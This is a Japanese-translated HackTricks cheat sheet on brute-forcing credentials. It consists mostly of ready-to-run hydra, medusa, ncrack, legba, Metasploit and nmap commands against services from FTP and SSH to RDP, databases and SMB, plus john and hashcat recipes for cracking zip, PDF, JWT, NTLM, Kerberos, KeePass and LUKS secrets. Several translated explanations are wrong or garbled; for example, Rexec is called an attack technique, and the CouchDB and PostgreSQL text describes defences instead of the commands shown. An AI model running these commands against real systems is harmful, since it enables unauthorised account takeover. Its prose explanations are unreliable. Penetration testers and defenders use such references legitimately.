Brute Force - CheatSheet

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

デフォルトの資格情報

使用されている技術のデフォルトの資格情報を検索するか、次のリンクを試してみてください:

独自の辞書を作成する

ターゲットに関する情報をできるだけ見つけ、カスタム辞書を生成します。役立つツール:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewlは、Webサイトから単語リストを生成するためのツールです。通常、辞書攻撃やブルートフォース攻撃の前に使用され、攻撃対象のWebサイトから有用な情報を収集するのに役立ちます。

cewl example.com -m 5 -w words.txt

被害者に関する知識(名前、日付など)に基づいてパスワードを生成します。

python3 cupp.py -h

特定のターゲットに関して使用するためのユニークで理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツール。

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

ワードリスト

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

サービス

サービス名でアルファベット順に並べ替えられています。

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

AJP(Apache JServ Protocol)は、Apache Tomcatサーバーとウェブサーバー間で通信するためのプロトコルです。AJPを使用して、攻撃者はTomcatサーバーに対してBrute Force攻撃を実行することができます。

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

AMQP(ActiveMQ、RabbitMQ、Qpid、JORAM、Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

カサンドラ

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下のようなセキュリティ対策を実装することができます。

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry

Docker レジストリ

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。FTPサーバーは、一般的にポート21でリッスンしています。

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

HTTP ジェネリックブルート

HTTP ベーシック認証

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

NTLM(NT LAN Manager)は、Windowsベースのシステムで使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - ポストフォーム

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

httpsについては、"http-post-form"からhttps-post-formに変更する必要があります。

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

IMAP(Internet Message Access Protocol)は、電子メールを受信するためのプロトコルです。IMAPサーバーへの不正アクセスを試みる際には、一般的にユーザー名とパスワードの組み合わせを総当たり攻撃(Brute Force Attack)することが一般的です。

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

IRC(Internet Relay Chat)は、テキストベースのチャットプロトコルであり、通常はオープンソースのクライアントソフトウェアを使用して利用されます。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測しようとします。

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

JWT(JSON Web Token)は、認証や情報の交換のために使用されるコンパクトで自己完結型の手段です。JWTは、署名されたJSONオブジェクトを使用して情報を安全に伝送します。

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードなどの情報を取得することが可能です。

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

MQTT

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

モンゴ

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

MSSQL(Microsoft SQL Server)は、Microsoftが開発したリレーショナルデータベース管理システムです。MSSQLへのBrute Force攻撃は、一般的にはユーザー名とパスワードの組み合わせを総当たりで試行することによって行われます。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な手法となり得ます。

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

MySQLは、多くのWebアプリケーションで使用されるオープンソースのリレーショナルデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法の1つとして使用されます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測し、正しい認証情報を見つけようとします。MySQLデータベースにBrute Force攻撃を行う場合、ユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みることができます。

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

ブルートフォース攻撃は、パスワードを推測するために使用される一般的な手法です。攻撃者は、可能なすべての組み合わせを試行し、正しいパスワードを見つけることを目指します。この攻撃は、セキュリティ上の脆弱性を突くために使用されることがあります。

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

oracle_loginpatatorと一緒に使用するには、以下をインストールする必要があります:

pip3 install cx_Oracle --upgrade

オフラインOracleSQLハッシュブルートフォースバージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

ポップ

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQLは、データベースに対するBrute Force攻撃を防ぐために、以下の方法を実装しています:

  • パスワードの複雑さ要件

  • ログイン試行回数の制限

  • ログインアクティビティの監視

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

https://http.kali.org/pool/main/t/thc-pptp-bruter/ からインストール用の .deb パッケージをダウンロードできます。

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

RDP(Remote Desktop Protocol)は、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPのブルートフォース攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、RDPサーバーにアクセスしようとする攻撃手法です。

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexecは、Brute Force攻撃の一形態であり、ユーザー名とパスワードの組み合わせを総当たりで試行することによって、システムにアクセスを試みる手法です。

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを使ってリモートシステムにログインするためのプロトコルです。攻撃者は、Brute Force攻撃を使用して、複数のユーザー名とパスワードの組み合わせを試し、システムにアクセスしようとします。

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

RTSP(Real Time Streaming Protocol)は、ストリーミングメディアサーバーとクライアント間でデータを転送するためのネットワーク制御プロトコルです。

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

SNMP(Simple Network Management Protocol)は、ネットワークデバイスやシステムの監視および管理に使用される標準プロトコルです。 SNMPは、デバイスの情報を取得するためにコミュニティ文字列を使用します。攻撃者は、Brute Force攻撃を使用して、有効なコミュニティ文字列を推測し、デバイスにアクセスしようとします。

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

SMB(Server Message Block)は、ネットワークファイル共有プロトコルであり、Windowsシステムで広く使用されています。

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するために使用される標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。Brute force攻撃は、SQL Serverへのアクセスを試みる際に使用できる一般的な手法の1つです。Brute force攻撃では、自動化されたツールを使用して、パスワードの組み合わせを継続的に試行し、正しい認証情報を見つけることを目指します。

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

SSH(Secure Shell)は、リモートマシンに安全にアクセスするためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的にします。

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

弱いSSHキー / Debian予測可能なPRNG

一部のシステムには、暗号資料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、snowdroppe/ssh-keybruteなどのツールでブルートフォース攻撃される可能性があります。g0tmi1k/debian-sshなどの事前生成された弱いキーのセットも利用可能です。

STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ)

STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスなコミュニケーションとやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で実行するための手段を提供します。

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnetは、ネットワーク上の別のコンピューターにログインするためのプロトコルです。一般的な攻撃手法の1つは、Telnetサーバーに対してブルートフォース攻撃を行うことです。これにより、総当たり攻撃を使用して、パスワードを推測し、不正アクセスを試みることができます。

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

Brute Force

Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Attackers can use tools like Hydra or Medusa to perform dictionary or brute force attacks to guess the password and gain unauthorized access to VNC servers. It is essential to use strong, complex passwords and implement additional security measures such as IP whitelisting or VPNs to protect VNC servers from brute force attacks.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスしてください:

ローカル

オンラインクラッキングデータベース

ハッシュをブルートフォース攻撃する前に、これをチェックしてください。

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

既知の平文zip攻撃

暗号化されたzipファイルの中に含まれるファイルの平文(または平文の一部)を知る必要があります。 暗号化されたzipファイル内に含まれるファイルのファイル名とサイズを確認するには、次のコマンドを実行できます:7z l encrypted.zip bkcrack をリリースページからダウンロードしてください。

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

7z ファイルは、パスワードで保護されている場合があります。Brute-force 攻撃を使用して、パスワードを解読することができます。Brute-force 攻撃は、すべての可能な組み合わせを試行し、正しいパスワードを見つける方法です。

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

PDFファイルは、一般的にパスワードで保護されており、Brute Force攻撃を使用してアクセスできます。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。これにより、PDFファイルのパスワードを解読して内容にアクセスすることが可能となります。

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDFオーナーパスワード

PDFオーナーパスワードを解読するには、こちらを参照してください: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM クラック

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

ケベロースティング

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks image

方法1

インストール: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

方法2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

別のLuks BFチュートリアル:http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

PGP/GPGの秘密鍵

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

DPAPI Master Key

DPAPIマスターキーを使用して、https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py を実行し、その後johnを使用します。

Open Office Pwd Protected Column

パスワードで保護された列を持つxlsxファイルがある場合、それを解除することができます:

  • Googleドライブにアップロードして、パスワードが自動的に削除されます

  • 手動でそれを削除するには:

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX 証明書

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

ツール

ハッシュの例: https://openwall.info/wiki/john/sample-hashes

ハッシュ識別子

hash-identifier
> <HASH>

ワードリスト

ワードリスト生成ツール

  • kwprocessor: 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ。

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

Johnの変異

_/etc/john/john.conf_を読み、それを設定します

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat攻撃

  • ワードリスト攻撃 (-a 0) with rules

Hashcatはすでにルールを含むフォルダが付属していますが、ここで他の興味深いルールを見つけることができます

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • ワードリスト組み合わせ攻撃

hashcatを使用して、2つのワードリストを1つに組み合わせることが可能です。 リスト1に単語**"hello"が含まれ、2つ目には単語"world""earth"**がそれぞれ2行含まれている場合、helloworldhelloearthが生成されます。

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • マスク攻撃 (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • ワードリスト + マスク (-a 6) / マスク + ワードリスト (-a 7) 攻撃

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

